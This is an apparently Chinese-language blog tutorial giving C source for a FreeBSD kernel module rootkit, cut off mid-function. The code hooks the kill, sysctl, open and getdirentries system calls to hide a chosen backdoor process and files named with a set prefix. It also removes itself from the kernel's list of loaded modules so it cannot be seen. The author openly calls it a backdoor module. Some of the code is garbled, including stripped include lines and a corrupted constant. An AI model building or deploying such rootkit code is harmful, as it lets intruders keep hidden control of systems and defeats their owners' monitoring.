kld的程序实现

提供及时全面的经典资源

/*freebsd的kld就像linux的lkm,能实现很多东西

linux下lkm的backdoor大鹰已经分析的很详悉了.

其实bsd下实现起来也差不多,只是代码的具体实现而已

最近把身心都给了bsd,所以也试着写点东西.把最近的感受

发泄一下撒,基础文章可以看小四的那篇freebsd kld编程指南

或者看/usr/share/examples/kld里面的列子,以及

freebsd的程序员开发手册.在/usr/share/doc/里面.

我的网站上有THC的那篇经典文章.如果要提高的话绝对不能错过.

*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include
#include
#include
#include
#include
#include
#include

 

/*这个宏是必需的,在内核空间分配空间必需先定义这个宏*/

MALLOC_DEFINE(M_NEW_SYSCTL,"p_data","struct");

MALLOC_DEFINE(HLC_DIR,"dir","struct");

/*要隐藏的进程名,可以是我们的后门进程拉*/

#define HIDE_PROC "sshd"

 

#define hidename "hlc"

#define hidelength 3

extern linker_file_list_t linker_files;/*谢谢cloud学长的指点*/

extern struct lock lock;

extern int next_file_id;

static int filehide(char*);

static int prochide(char*);

static void hide_module(void);

static int get_pid(void);

static int new_open(struct proc *,struct open_args *);

static int new_getdirentries(struct proc *,struct getdirentries_args *);

static int new_sysctl(struct proc *p, struct sysctl_args *uap);

static int new_kill(struct proc *p, struct kill_args *uap) ;

/*

*后门module至少要实现隐藏目录,隐藏进程,隐藏网络和隐藏自己

*网络的隐藏还没有作出来,呵呵,学习中,大家稍等

*

*

*

*/

 

/*返回要隐藏的进程的pid*/

static int get_pid(void)

{

struct proc *p;

 

p=allproc.lh_first;

for (; p!=0; p=p->p_list.le_next)

{

if (strcmp(p->p_comm, HIDE_PROC)==0)

{

return p->p_pid;

}

}

return -1;

}

 

 

/* 隐藏我们的后门模块 */

static void hide_module(void)

{

struct linker_file * lf;

 

lockmgr(&lock, LK_SHARED, 0, curproc);

 

(&linker_files)->tqh_first->refs--;

 

TAILQ_FOREACH(lf, &linker_files, link) {

 

if (!strcmp(lf->filename, "airsupply.ko")) {

 

/*把加载的全局link file记数减一*/

next_file_id--;

 

/* remove the entry*/

TAILQ_REMOVE(&linker_files, lf, link);

break;

}

}

lockmgr(&lock, LK_RELEASE, 0, curproc);

 

}

/* 是否为要隐藏的文件或目录 */

static int filehide(char *name)

{

 

char buf[hidelength+1];

bcopy(name,buf,hidelength);

buf[hidelength]='\0';

if(!strcmp(buf,hidename))

return 1;

return 0;

}

/*是否为要隐藏的进程*/

static int prochide(char *name)

{

char hide[255];

sprintf(hide,"%d",get_pid());

if(!strcmp((char*)name,(char*)hide))

return 1;

return 0;

}

 

/*新的kill的系统调用*/

static int

new_kill(struct proc *p, struct kill_args *uap)

{

if (uap->pid==get_pid())

return ESRCH;

else

return kill(p, uap);

}

/*新的sysctl的系统调用*/

static int

new_sysctl(struct proc *p, struct sysctl_args *uap)

{

int error, i, mib[4];

size_t size, newsize, recsize;

struct kinfo_proc *p_data, *ptr;

error = __sysctl(p,uap);

error = copyin(uap->name, &mib, sizeof(mib));

if (error)

return (error);

 

/*

如果是用ps pid命令,pid为要隐藏的进程id的话,就返回空

*/

 

if((mib[2] == KERN_PROC_PID) || (mib[2] == KERN_PROC_ARGS))

{

if(mib[3]==get_pid())

{

size = 0;

copyout(&size,uap->oldlenp, sizeof(size));

return(0);

}

return 0;

}

 

error = userland_sysctl(p, mib, uap->namelen, uap->old, uap->oldlenp,

0, uap->new, uap->newlen, &size);

if (error && error != ENOMEM)

return (error);

 

if(!uap->oldlenp)

return(error);

 

newsize = size;

 

/*ps命令,隐藏我们的要隐藏的进程*/

 

if ((uap->old) && (mib[0] == CTL_KERN) && (mib[1] == KERN_PROC))

{

 

 

MALLOC(p_data, struct kinfo_proc *, size, M_NEW_SYSCTL, M_NOWA99v);

 

recsize = sizeof(struct kinfo_proc);

 

copyin(uap->old,p_data,size);

ptr = p_data;

i=size;

 

while(i>0)

{

i-=recsize;

 

if(ptr->kp_proc.p_pid==get_pid()) /*是否为要隐藏的pid*/

{

/*减掉要隐藏的进程信息的size*/

newsize -= sizeof(struct kinfo_proc);

 

if(i > 0)

/*去掉要隐藏的进程信息*/

bcopy((char *)ptr + recsize, ptr, (i - recsize));

}

 

 

if(i > 0)

ptr = (struct kinfo_proc *)((char *)ptr + recsize);

}

 

/* copy回用户空间 */

copyout(p_data, uap->old, newsize);

 

 

FREE(p_data, M_NEW_SYSCTL);

return 0;

}

return 0;

}

 

/*

*

*

*

*

*

*/

 

static int new_open(struct proc *p,register struct open_args *uap)

{

char name[256];

size_t size;

if(copyinstr(uap->path,name,256,&size)==EFAULT)

return(EFAULT);

if(filehide(name))

return(ENOENT);

return(open(p,uap));

 

}

/* 新的getdirentries的系统调用,可以隐藏我们自己的目录和/proc里面的后门进程号 */

static int new_getdirentries(struct proc *p,register struct getdirentr